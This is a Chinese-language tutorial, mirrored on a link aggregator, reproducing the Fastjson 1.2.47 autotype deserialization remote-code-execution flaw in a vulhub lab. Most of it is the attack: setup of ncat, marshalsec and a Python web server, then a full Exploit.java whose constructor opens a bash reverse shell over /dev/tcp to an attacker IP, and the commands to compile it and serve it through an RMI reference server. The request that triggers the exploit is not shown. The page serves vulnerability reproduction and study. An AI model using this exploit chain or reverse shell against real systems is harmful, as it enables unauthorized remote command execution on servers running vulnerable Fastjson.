9

技术分享 | Fastjson-RCE漏洞复现

 3 years ago
source link: https://www.heibai.org/post/2003.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

技术分享 | Fastjson-RCE漏洞复现

广州锦行网络科技有限公司 2021-05-26

乐山桑云信息技术有限公司(www.sangyun.net)专注于企业安全与网站、小程序、APP架设,为企业客户提供一站式解决方案,帮助企业快速实现互联网+转型。

Fastjson提供autotype功能,允许用户在反序列化数据中通过 @type 指定反序列化的类型,其次Fastjson自定义的反序列化会调用指定类中的setter方法和部分getter方法。
当组件开启autotype并且反序列化不可信的数据时,攻击者构造的数据(恶意代码)会进入特定类的setter或getter方法中,可能会被恶意利用。
影响版本
Fastjson1.2.47以及之前的版本

1.1 环境准备

用于接受反弹shell
系统:Win10 x64
安装nc,burpsuite
win10中需安装nc,用于监听反弹的shell。
在win10下,在nc官网(https://eternallybored.org/misc/netcat/)下载会报毒被拦截。
可以使用nmap中重置的ncat(https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe),与nc使用无区别。
下载后进入,ncat所在目录,执行ncat,出现如下输出则安装成功

提供一些必要服务
系统:Ubuntu
需安装:marshlsec ( https://github.com/mbechler/marshalsec )(用于启动RMI服务)、python环境(用于启动SimpleHTTPServer服务)、openjdk
marshlsec下载后,需要使用mvn打包,无mvn命令需要安装Maven
marshlsec下载后,进入文件目录执行sudo mvn clean package -DskipTests,完成后会在目录的target目录中发现两个jar包

系统:Ubuntu (与上述提供RMI和Web服务的机器可以是一台或不同)
需安装:docker、docker-composer、vulhub

1.2 示意图

1.3 复现流程

在 攻击机1 开启监听

在受害机上启动环境,进入vulhub中的/fastjson/1.2.47-rce/,使用如下命令启动服务:

# docker-compose up -d
在 攻击机1 上访问该服务,如下则为成功

构造恶意代码文件vim Exploit.java,内容如下
代码中192.168.253.129/6666修改为攻击机1的ip和监听反弹shell的端口

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
      Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.253.129/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

编写完成后,对该文件进行编译生成对应的class文件

# javac Exploit.java

在 攻击机2 上启动RMI和Web服务
· 启动Web服务
# python -m SimpleHTTPServer 8080

使用 攻击机1 访问 攻击机2开放的Web服务,如下则成功

启动RMI服务
进入marshalsec打包好的jar包目录执行命令,如下
192.168.253.138:8080 为上述Web服务地址和端口,需自行修改
8888 可为任意端口
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.RMIRefServer
"http://192.168.253.138:8080/#Exploit" 8888


在 攻击机1 上构造恶意请求

发送请求后,等待ncat获取反弹shell,可见在恶意代码中构造的命令执行,成功反弹shell,可以执行命令

VIP资源

您需要注册登录并升级会员后才能查看!

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK